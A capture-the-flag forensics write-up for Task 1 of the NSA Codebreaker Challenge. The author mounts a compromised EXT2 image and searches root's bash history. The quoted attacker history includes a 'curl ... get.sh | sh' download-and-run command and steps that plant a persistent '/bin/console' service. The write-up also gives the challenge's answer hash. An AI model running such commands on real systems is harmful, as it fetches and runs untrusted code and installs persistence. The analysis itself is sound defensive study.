Task 1
Writeup for Task 1 of the NSA Codebreaker Challenge
Challenge
Task 1 - Getting Started - (Forensics)
You arrive on site and immediately get to work. The DAFIN-SOC team quickly briefs you on the situation. They have noticed numerous anomalous behaviors, such as; tools randomly failing tests and anti-virus flagging on seemingly clean workstations. They have narrowed in on one machine they would like NSA to thoroughly evaluate.
They have provided a zipped EXT2 image from this development machine. Help DAFIN-SOC perform a forensic analysis on this - looking for any suspicious artifacts.
Downloads:
- zipped EXT2 image image.ext2.zip
Goal:
- Provide the SHA-1 hash of the suspicious artifact.
Strategy
The first thing to do is to analyze what we’re given. image.ext2.zip is a zipped EXT2 filesystem, so logically, step 1 is to unzip it
to reveal the decompressed image.
EXT2 is quite an old filesystem. Modern Linux desktops run on EXT4.
First off, let’s see what file says:
$ file image.ext2.zip
image.ext2.zip: Zip archive data, made by v3.0 UNIX, extract using at least v2.0, last modified, last modified Sun, Sep 20 2025 21:05:26, uncompressed size 67108864, method=deflate
Post unzip-ping:
$ file image.ext2
image.ext2: Linux rev 1.0 ext2 filesystem data, UUID=f0eee812-f07f-5d36-bbd8-fc02d3942414 (large files)
Let’s mount it to browse the system:
$ mkdir -p ~/mnt/image
$ sudo mount -o loop image.ext2 ~/mnt/image
We’re in:
sean@Sean-Linux:~/mnt/image$ ls -lah
total 96K
drwxr-xr-x 22 root root 4.0K Dec 31 1969 .
drwxr-xr-x. 1 sean sean 10 Jul 8 14:06 ..
drwxr-xr-x. 2 root root 4.0K Dec 31 1969 app
drwxr-xr-x. 2 root root 4.0K Dec 31 1969 backup
drwxr-xr-x. 2 root root 4.0K Dec 31 1969 bin
drwxr-xr-x. 2 root root 4.0K Dec 31 1969 dev
drwxr-xr-x. 22 root root 4.0K Dec 31 1969 etc
drwxr-xr-x. 2 root root 4.0K Dec 31 1969 home
drwxr-xr-x. 8 root root 4.0K Dec 31 1969 lib
drwx------ 2 root root 16K Dec 31 1969 lost+found
drwxr-xr-x. 5 root root 4.0K Dec 31 1969 media
drwxr-xr-x. 2 root root 4.0K Dec 31 1969 mnt
drwxr-xr-x. 2 root root 4.0K Dec 31 1969 opt
dr-xr-xr-x. 2 root root 4.0K Dec 31 1969 proc
drwx------. 2 root root 4.0K Dec 31 1969 root
drwxr-xr-x. 3 root root 4.0K Dec 31 1969 run
drwxr-xr-x. 2 root root 4.0K Dec 31 1969 sbin
drwxr-xr-x. 2 root root 4.0K Dec 31 1969 srv
dr-xr-xr-x. 2 root root 4.0K Dec 31 1969 sys
drwxrwxrwx. 2 root root 4.0K Dec 31 1969 tmp
drwxr-xr-x. 8 root root 4.0K Dec 31 1969 usr
drwxr-xr-x. 13 root root 4.0K Dec 31 1969 var
Interestingly, everything is timed at the Unix epoch start date.
Now comes the hard part: finding the malicious object.
Some strategies come to mind:
- Brute force look through everything
- Find a way to see what happened here
At first I spent a while looking in a bunch of directories, then I had an idea: what if I read the terminal history? After all, that should show what was being done on the machine, no?
sean@Sean-Linux:~/mnt/image/home$ ls -lah
total 8.0K
drwxr-xr-x. 2 root root 4.0K Dec 31 1969 .
drwxr-xr-x 22 root root 4.0K Dec 31 1969 ..
…it’s blank
So let’s perform a search for any history files:
sean@Sean-Linux:~/mnt/image$ sudo find . -name "*history*" -type f
./root/.bash_history
./root/.ash_history
Yes! Found something possibly of value here.
Interestingly though, cd-ing into root doesn’t work.
Not to worry as I can simply make myself the new owner of root
sean@Sean-Linux:~/mnt/image$ sudo chown sean:sean root
sean@Sean-Linux:~/mnt/image$ ls -lah
total 96K
...
drwx------. 2 sean sean 4.0K Dec 31 1969 root
...
sean@Sean-Linux:~/mnt/image/root$ cd root && ls -lah
total 160K
drwx------. 2 sean sean 4.0K Dec 31 1969 .
drwxr-xr-x 22 root root 4.0K Dec 31 1969 ..
-rw-r--r--. 1 root root 10 Dec 31 1969 .ash_history
-rw-r--r--. 1 root root 137K Dec 31 1969 .bash_history
-rw-r--r--. 1 root root 112 Dec 31 1969 .bashrc
I’m in.
Aaaand a new problem:
- Bash history is 8000 lines
- Ash history is nothing
- Bashrc is also nothing
Now how to parse through 8000 lines?
Idk, let’s try grepping it for common malware infection strategies, like downloading a sh file.
sean@Sean-Linux:~/mnt/image/root$ cat .bash_history | grep .sh
curl http://127.0.0.1:10000/a/get.sh | sh
dig +short alpinelinux.org
dig +short alpinelinux.org
dig +short alpinelinux.org
dig +short alpinelinux.org
dig +short alpinelinux.org
dig +short alpinelinux.org
dig +short alpinelinux.org
dig +short alpinelinux.org
dig +short alpinelinux.org
dig +short alpinelinux.org
dig +short alpinelinux.org
It worked??
I see a very suspicious line right there.
Using / to search for get.sh through vim, I see its on line 1245, and surrounded by highly suspicious commands.
cd /tmp
curl http://127.0.0.1:10000/a/get.sh | sh
tar xf t.tar
cp c /etc/terminfo/a/nwsuermczx
cp a /bin/console
cp b /etc/runlevels/default/console
rm -f a
ls
rm -f ./b ./c
ls
/bin/console -s
ps
chmod +x /bin/console
/bin/console -s
ps | grep con
kill 1020
/bin/console -s -o /etc/terminfo/a/nwsuermczx
Seems like the attacker:
- Went into
/tmp - Downloaded a file from a local server? And directly piped it into
shto run it. - Used one letter names for following commands
- Seems to have done something with
nwsuermczx
At line 6055 the malicious actor ran rm -f etc/terminfo/a/nwsuermczx
This wouldn’t execute as it’s missing the leading slash.
It must still be in the filesystem.
sean@Sean-Linux:~/mnt/image/etc/terminfo/a$ ls
alacritty ansi nwsuermczx
And there it is!
Poking at the file, it doesn’t seem to contain anything useful besides being an .env file equivalent:
$ cat nwsuermczx
U=/a/4063db24a76b04fc2c920c6e50c389e4/xxyz
P=20
A=/app/www
To unmount when done:
$ sudo umount ~/mnt/image
Pull the hash and that’s the task’s answer.
sean@Sean-Linux:~/mnt/image/etc/terminfo/a$ sha1sum nwsuermczx
4227c39b67a41d3c2fe5fecb5ac9235c2450775b nwsuermczx
Recap
- NSA has detected anomalous behaviours and we were handed a compromised computer’s filesystem, essentially its storage drive. We’ve successfully dug into it and discovered that there was a malicious actor on the device working with a suspicious file. We don’t know anything about any bad side effects just yet.
